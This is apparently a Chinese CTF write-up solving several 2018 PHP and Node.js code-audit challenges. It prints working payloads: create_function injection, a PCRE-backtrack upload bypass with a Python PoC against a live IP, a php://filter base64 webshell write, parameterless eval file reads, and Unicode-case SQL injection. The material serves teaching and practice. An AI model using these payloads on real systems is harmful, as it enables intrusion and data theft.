翻翻P神2018年整的代码题来做做…
function——create_funciton()
的代码执行
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
函数名可控,且有两个参数,且第二个参数可控,由此猜想是create_function
的代码执行
create_function(string $args, string $code): string
创建一个匿名函数,$args表示匿名函数的参数,$code表示匿名函数的执行代码
相当于:
function __lambda_func ( function_args ) { function_code } \0
这里需要绕过正则/^[a-z0-9_]*$/isD
,有^
有$
那么需要找到一个字符加到开头或末尾。
Fuzz一下:
显然\
可以绕过
在PHP的命名空间默认为
\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()
调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()
这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace
里调用系统类,就必须写绝对路径这种写法
还有一个要注意的是,对于类来说,使用全局空间的类,要使用反斜线
\
,如果不加反斜线,解释器就理解为实例化在当前命名空间中定义的类,如果当前命名空间未定义该类,则直接报错,停止运行;
在使用全局的函数或者常量的时候,可以不用加\
,通常是这个过程,首先,会在当前的命名空间中寻找是否定义了该函数或者常量,如果定义了,则直接只用命名空间中的函数或者常量,不再往外层继续寻找;如果当前的命名空间中没有定义该常量或者函数时,就会去寻找全局空间,也就是""中是否存在该函数或者常量,如果存在,就是用全局空间中的该函数或者常量,如果不存在,则报错。结合上面一个例子和下面这个例子理解。
Payload:
?action=\create_function&arg=1;}eval($_POST[1]);/*
1=$handler = opendir('..');
while(($name = readdir($handler))!== false){
echo $name."<br>";echo file_get_contents('../'.$name);
}
pcrewaf——PCRE正则匹配回溯
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
问题出现在正则表达式
与if_else
的设置,结合PCRE最大回溯即可绕过。
正则表达式中的
.*[(`;?>]
明显造成了回溯,在回溯次数超过环境设置的pcre.backtrack_limit
值后,这个preg_match
会返回false
,那么就可以进入else的分支了
最大回溯是多少?可以查看当前环境的pcre.backtrack_limit
,一般是一百万次
var_dump(ini_get('pcre.backtrack_limit'));
直接用POC:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}
res = requests.post('http://119.29.60.71:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
phpmagic
一共两部分代码
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
?>
可以file_put_contents写文件,其中文件名$log_name
和文件内容$output
看似不好掌控。
先说$log_name
:
一、文件名:
首先 $log_name
是由$_POST['log']
和$_SERVER['SERVER_NAME']
组成的,但是$_SERVER['SERVER_NAME']
似乎难以控制,到手册中查查$_SERVER['SERVER_NAME']
,说是可能被伪造,上网搜搜伪造的方法是报文头中的Host
字段
本地测试一下,发现确实通过Host
能伪造$_SERVER['SERVER_NAME']
那么文件名可控了,但又有个黑名单,通过pathinfo(x,PATHINFO_EXTENSION)
获取到文件名后缀并匹配黑名单。这里绕过的方式是往文件名后加上/.
,那么pathinfo()
对这样的文件名就会返回空,从而绕过,具体的原理看看师傅的:php_apache2_操作系统之间的一些黑魔法
二、文件内容:
这里一开始想的是找找dig的参数,看看能否命令注入的,然后没搞出个所以然,就这么卡住了。
看了师傅们的操作发现居然用到了php://filter
伪协议,确实,file_put_contents()
中的文件名使用伪协议的base64过滤器,那么文件内容就可以写base64加密后的一句话从而拼接上去即可了
要使用base64过滤器解码,就得注意base64是将每4个字符转成6个字符的,可以解码的字符有:(A-Z
、a-z
、0-9
、+
、/
),遇到不在范围内的字符就直接跳过。所以本题中我们输入的命令前面就只会解码以下字符,一共40个,4的倍数,也就不需要我们填充字符了
原字符串:
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q
会被base64解码的:
ltltgtgtDiG9959deb8u15+DebianltltgtgttAq
需要注意base64解码时遇到=
会停止解码的,也就是说我们要避免=
的出现,因此假设base64加密后是这样的:PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=
,我们可以将结尾的=
替换成别的字符,即不会解码错误也不影响原内容。
那么如果出现了+
,一定要进行URL编码
构造如下:
domain=PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8%2b&log=://filter/write=convert.base64-decode/resource=14.php/.
访问/data/md5($_SERVER['REMOTE_ADDR']
目录:
phplimit——无参数文件读取
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
[^\W]
这个正则转了一圈还是要匹配所有单词字符[a-zA-Z0-9_]
,(?R)
表示引用正则表达式,这里就是引用[^\W]
,整个正则的意思就是要匹配函数,也就是无参数文件读取了
一开始执行下面这代码发现flag是在上层目录
print_r(next(array_reverse(scandir(next(scandir(current(localeconv())))))));
使用chdir()
更换目录,接着使用dirname()
,如果dirname()的参数没有斜杠,则返回一个点,接着scandir()即可读取目录文件名了
print_r(file_get_contents(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))));
还可以用get_defined_vars()
来配合命令执行,但这题ban一些执行函数
eval(end(current(get_defined_vars())));&byc=system('ls');
nodechr
主要是下面两部分代码,其中用到了toUpperCase()方法
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
SQL查询语句很简单,但据说flag是在flag表中,那么使用子查询似乎不可避免,union、select关键字的绕过就很重要了。
绕过方式要参考p神的文章:Fuzz中的javascript大小写特性
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'
"K".toLowerCase() == 'k'.
搭建的环境不行,但Payload大致是这样…
password=-1' unıon ſelect 1,2,(ſelect flag from flags) where '1'='1&username=admin